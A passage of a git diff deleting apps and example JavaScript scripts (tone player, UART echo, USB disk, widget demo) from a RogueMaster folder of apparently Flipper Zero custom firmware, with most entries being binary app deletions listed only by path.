-} diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_native_jamisonderek.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_native_jamisonderek.js deleted file mode 100644 index 9458a6069..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/tone_rotate_native_jamisonderek.js +++ /dev/null @@ -1,40 +0,0 @@ -let vgm = require("vgm"); -//The pre-built vgm exposes a .play function, so we don't need the speaker_api.js file. -//let __dirpath = "/ext/apps/Scripts"; -//let speaker = load(__dirpath + "/speaker_api.js"); - -let min_delta_angle = 29.98; -let max_wait_ms = 10000; -let freq_hz = 440; - -//Uncomment below to test for various test cases... -//print(vgm.deltaYaw("30.312", 1000)); // Invalid arg (angle). -//print(vgm.deltaYaw()); // Invalid args. Pass (angle, [timeout]). Got 0 args. -//print(vgm.deltaYaw(1,2,3)); // Invalid args. Pass (angle, [timeout]). Got 3 args. -//print(vgm.deltaYaw(29.98, 1000)); // This should work fine. - -// Show the pitch, roll, and yaw values for 5 seconds -for (let i = 0; i < 3; i++) { - print("P", vgm.getPitch(), "R", vgm.getRoll(), "Y", vgm.getYaw()); - delay(1000); -} - -// Play a sound that changes pitch based on yaw -for (let i = 0; i < 500; i++) { - print("Freq", freq_hz, "Hz"); - // speaker.play(freq_hz, 1.0, 250); - vgm.play(freq_hz, 1.0, 250); - - let delta = vgm.deltaYaw(min_delta_angle, max_wait_ms); - if (delta === undefined) { - print("No VGM detected. Exiting..."); - break; - } - delta /= (min_delta_angle / 1.02); - - if (delta > 0) { - freq_hz *= delta; - } else if (delta < 0) { - freq_hz /= -delta; - } -} diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/uart_echo.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/uart_echo.js deleted file mode 100644 index 1cc0d8e62..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/uart_echo.js +++ /dev/null @@ -1,14 +0,0 @@ -let serial = require("serial"); -serial.setup("usart", 230400); - -while (1) { - let rx_data = serial.readBytes(1, 0); - if (rx_data !== undefined) { - serial.write(rx_data); - let data_view = Uint8Array(rx_data); - print("0x" + to_hex_string(data_view[0])); - } -} - -// There's also serial.end(), so you can serial.setup() again in same script -// You can also use serial.readAny(timeout), will avoid starving your loop with single byte reads diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/usbdisk.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/usbdisk.js deleted file mode 100644 index df9b1ab3e..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/usbdisk.js +++ /dev/null @@ -1,13 +0,0 @@ -let usbdisk = require("usbdisk"); -let image = "/ext/apps_assets/mass_storage/test.img"; -// print("Creating image..."); -// usbdisk.createImage("/ext/apps_data/mass_storage/128MB.img", 128 * 1024 * 1024); -print("Starting UsbDisk..."); -usbdisk.start(image); -print("Started, waiting until ejected..."); -while (!usbdisk.wasEjected()) { - delay(1000); -} -print("Ejected, stopping UsbDisk..."); -usbdisk.stop(); -print("Done"); \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/widget-js.fxbm b/Applications/Custom (UL, RM)/RogueMaster/Scripts/widget-js.fxbm deleted file mode 100644 index 9ba5783ce..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Scripts/widget-js.fxbm and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/widget.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/widget.js deleted file mode 100644 index 4ff11e441..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/widget.js +++ /dev/null @@ -1,59 +0,0 @@ -let widget = require("widget"); - -let demo_seconds = 30; - -print("Loading file", __filepath); -print("From directory", __dirpath); - -// addText supports "Primary" and "Secondary" font sizes. -widget.addText(10, 10, "Primary", "Example JS widget"); -widget.addText(10, 20, "Secondary", "Example widget from JS!"); - -// load a Xbm file from the same directory as this script. -widget.addText(0, 30, "Secondary", __filepath); -let logo = widget.loadImageXbm(__dirpath + "/widget-js.fxbm"); - -// add a line (x1, y1, x2, y2) -widget.addLine(10, 35, 120, 35); - -// add a circle/disc (x, y, radius) -widget.addCircle(12, 52, 10); -widget.addDisc(12, 52, 5); - -// add a frame/box (x, y, width, height) -widget.addFrame(30, 45, 10, 10); -widget.addBox(32, 47, 6, 6); - -// add a rounded frame/box (x, y, width, height, radius) -widget.addRframe(50, 45, 15, 15, 3); -widget.addRbox(53, 48, 6, 6, 2); - -// add a dot (x, y) -widget.addDot(100, 45); -widget.addDot(102, 44); -widget.addDot(104, 43); - -// add a glyph (x, y, glyph) -widget.addGlyph(115, 50, "#".charCodeAt(0)); - -// Show the widget (drawing the layers in the orderer they were added) -widget.show(); - -let i = 1; -let bitmap = undefined; -while (widget.isOpen() && i <= demo_seconds) { - // Print statements will only show up once the widget is closed. - print("count is at", i++); - - // You can call remove on any added item, it does not impact the other ids. - if (bitmap) { widget.remove(bitmap); bitmap = undefined; } - // All of the addXXX functions return an id that can be used to remove the item. - else { bitmap = widget.addXbm(77, 45, logo); } - - delay(1000); -} - -// If user did not press the back button, close the widget. -if (widget.isOpen()) { - widget.close(); -} \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/about.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/about.fap deleted file mode 100644 index 24daff66d..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/about.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/bt_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/bt_settings.fap deleted file mode 100644 index bc82592c8..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/bt_settings.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/cfw.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/cfw.fap deleted file mode 100644 index d89153bd5..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/cfw.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/desktop_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/desktop_settings.fap deleted file mode 100644 index acd070bd3..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/desktop_settings.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/dolphin_trainer.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/dolphin_trainer.fap deleted file mode 100644 index 68e58c2c7..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/dolphin_trainer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/expansion_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/expansion_settings.fap deleted file mode 100644 index c72921c5d..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/expansion_settings.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/extendrange.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/extendrange.fap deleted file mode 100644 index c3dfd2892..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/extendrange.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/gauge_tool.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/gauge_tool.fap deleted file mode 100644 index 5b5b4341a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/gauge_tool.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/namechanger.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/namechanger.fap deleted file mode 100644 index 973e13ac7..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/namechanger.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/notification_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/notification_settings.fap deleted file mode 100644 index ba9a74840..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/notification_settings.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/passport.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/passport.fap deleted file mode 100644 index e89331bc0..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/passport.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/power_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/power_settings.fap deleted file mode 100644 index c33250645..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/power_settings.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/smack_my_dolphin_up.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/smack_my_dolphin_up.fap deleted file mode 100644 index 30520ee40..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/smack_my_dolphin_up.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/storage_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/storage_settings.fap deleted file mode 100644 index dca6c2bab..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/storage_settings.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Settings/system_settings.fap b/Applications/Custom (UL, RM)/RogueMaster/Settings/system_settings.fap deleted file mode 100644 index 56067d861..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Settings/system_settings.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/esubghz_chat.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/esubghz_chat.fap deleted file mode 100644 index 2b330ca6d..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/esubghz_chat.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/fmf_to_sub.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/fmf_to_sub.fap deleted file mode 100644 index e7579e0d4..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/fmf_to_sub.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/freq_analyzer_ext.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/freq_analyzer_ext.fap deleted file mode 100644 index 72ac6a72b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/freq_analyzer_ext.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/genie_record.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/genie_record.fap deleted file mode 100644 index 573a85410..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/genie_record.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/marmalade_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/marmalade_app.fap deleted file mode 100644 index b047923a9..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/marmalade_app.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/meal_pager.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/meal_pager.fap deleted file mode 100644 index a9af32094..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/meal_pager.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/pocsag_pager.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/pocsag_pager.fap deleted file mode 100644 index 59147d91e..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/pocsag_pager.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/protoview.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/protoview.fap deleted file mode 100644 index 12939b10c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/protoview.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/radio_scanner.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/radio_scanner.fap deleted file mode 100644 index 7832df7ef..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/radio_scanner.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/rolling_flaws.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/rolling_flaws.fap deleted file mode 100644 index e74eb0205..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/rolling_flaws.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/shapshup.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/shapshup.fap deleted file mode 100644 index d816db814..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/shapshup.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/spectrum_analyzer.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/spectrum_analyzer.fap deleted file mode 100644 index 5ba862319..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/spectrum_analyzer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_bruteforcer.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_bruteforcer.fap deleted file mode 100644 index bffd2d5af..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_bruteforcer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_fap.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_fap.fap deleted file mode 100644 index 4fe125b55..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_fap.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_playlist.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_playlist.fap deleted file mode 100644 index fbff371fc..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_playlist.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_remote_refactored.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_remote_refactored.fap deleted file mode 100644 index e156c9bb4..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_remote_refactored.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_scheduler.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_scheduler.fap deleted file mode 100644 index 93c6868b8..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_scheduler.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_test.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_test.fap deleted file mode 100644 index d31c01fc6..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_test.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/tpms.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/tpms.fap deleted file mode 100644 index 1604f65a0..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/tpms.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/weather_station.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/weather_station.fap deleted file mode 100644 index 7c8f002ce..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/weather_station.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/c_book.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/c_book.fap deleted file mode 100644 index 6269117e9..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/c_book.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/crypto_dict.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/crypto_dict.fap deleted file mode 100644 index 75165f7cc..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/crypto_dict.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/extra_demo.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/extra_demo.fap deleted file mode 100644 index 09563ca45..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/extra_demo.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/fap_boilerplate.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/fap_boilerplate.fap deleted file mode 100644 index 51e087d0e..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/fap_boilerplate.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/flipper_ascii.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/flipper_ascii.fap deleted file mode 100644 index 09661daca..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/flipper_ascii.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/flipperdoc.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/flipperdoc.fap deleted file mode 100644 index 119c5fb48..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/flipperdoc.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/plugin_demo.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/plugin_demo.fap deleted file mode 100644 index be36017d6..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/plugin_demo.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/air_level.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/air_level.fap deleted file mode 100644 index 3e7a86efa..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/air_level.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/analog_clock.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/analog_clock.fap deleted file mode 100644 index ea44c9893..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/analog_clock.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/barcode_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/barcode_app.fap deleted file mode 100644 index 94a40ec78..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/barcode_app.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/bgloader.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/bgloader.fap deleted file mode 100644 index aa5837f62..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/bgloader.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/blackjack_counter.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/blackjack_counter.fap deleted file mode 100644 index 180be43df..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/blackjack_counter.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/brainfuck.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/brainfuck.fap deleted file mode 100644 index c27dd3267..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/brainfuck.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/caesar_cipher.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/caesar_cipher.fap deleted file mode 100644 index 56dfea0be..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/caesar_cipher.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/calculator.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/calculator.fap deleted file mode 100644 index 178695efe..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/calculator.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/calendar.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/calendar.fap deleted file mode 100644 index 7bfd35e41..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/calendar.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/chronometer.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/chronometer.fap deleted file mode 100644 index b24f63eb8..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/chronometer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/cli_gui.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/cli_gui.fap deleted file mode 100644 index afb7ef0ba..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/cli_gui.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/clockv1.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/clockv1.fap deleted file mode 100644 index 097ee646a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/clockv1.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/count_down_timer.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/count_down_timer.fap deleted file mode 100644 index 04e0d3b85..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/count_down_timer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/counter.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/counter.fap deleted file mode 100644 index 4bd5fa527..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/counter.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/device_info.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/device_info.fap deleted file mode 100644 index 3d7898b00..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/device_info.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/dtmf_dolphin.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/dtmf_dolphin.fap deleted file mode 100644 index 61db6602b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/dtmf_dolphin.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/enigma.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/enigma.fap deleted file mode 100644 index 7673c11d7..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/enigma.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/f0forth.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/f0forth.fap deleted file mode 100644 index 05f55cf53..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/f0forth.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/fast_js_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/fast_js_app.fap deleted file mode 100644 index 1ca42ddf1..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/fast_js_app.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/financial_calc.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/financial_calc.fap deleted file mode 100644 index aeaac8c94..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/financial_calc.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/flipbip.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/flipbip.fap deleted file mode 100644 index c67f9649a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/flipbip.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/flipper95.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/flipper95.fap deleted file mode 100644 index 3bce57c88..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/flipper95.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/flipper_aid.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/flipper_aid.fap deleted file mode 100644 index dd4e407df..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/flipper_aid.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/flipperzero_clock.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/flipperzero_clock.fap deleted file mode 100644 index 138f72ea8..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/flipperzero_clock.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/gnomishtool.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/gnomishtool.fap deleted file mode 100644 index 8c50966e3..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/gnomishtool.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/hex_editor.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/hex_editor.fap deleted file mode 100644 index 8a310f568..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/hex_editor.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/hex_viewer.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/hex_viewer.fap deleted file mode 100644 index a4d6000de..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/hex_viewer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/id_card.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/id_card.fap deleted file mode 100644 index 812263bd9..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/id_card.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/key_copier.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/key_copier.fap deleted file mode 100644 index 3839680aa..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/key_copier.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/led_pulsator.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/led_pulsator.fap deleted file mode 100644 index dfeac1195..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/led_pulsator.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/lishi.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/lishi.fap deleted file mode 100644 index 7ea4eb32b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/lishi.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/math_wiz.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/math_wiz.fap deleted file mode 100644 index 7f4f38bd7..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/math_wiz.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/multi_converter.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/multi_converter.fap deleted file mode 100644 index 2122f48f5..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/multi_converter.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/nightstandclock.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/nightstandclock.fap deleted file mode 100644 index 7776d57df..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/nightstandclock.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/notes.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/notes.fap deleted file mode 100644 index 6ec939257..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/notes.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/orgasmotron.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/orgasmotron.fap deleted file mode 100644 index 50612bf3a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/orgasmotron.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/password_generator.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/password_generator.fap deleted file mode 100644 index 4d44711b1..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/password_generator.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/pet_a_dolphin.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/pet_a_dolphin.fap deleted file mode 100644 index 80cafa05f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/pet_a_dolphin.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/pomodoro2.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/pomodoro2.fap deleted file mode 100644 index de274a37a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/pomodoro2.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/pomodoro_timer.fap b/Applications/Custom (UL, 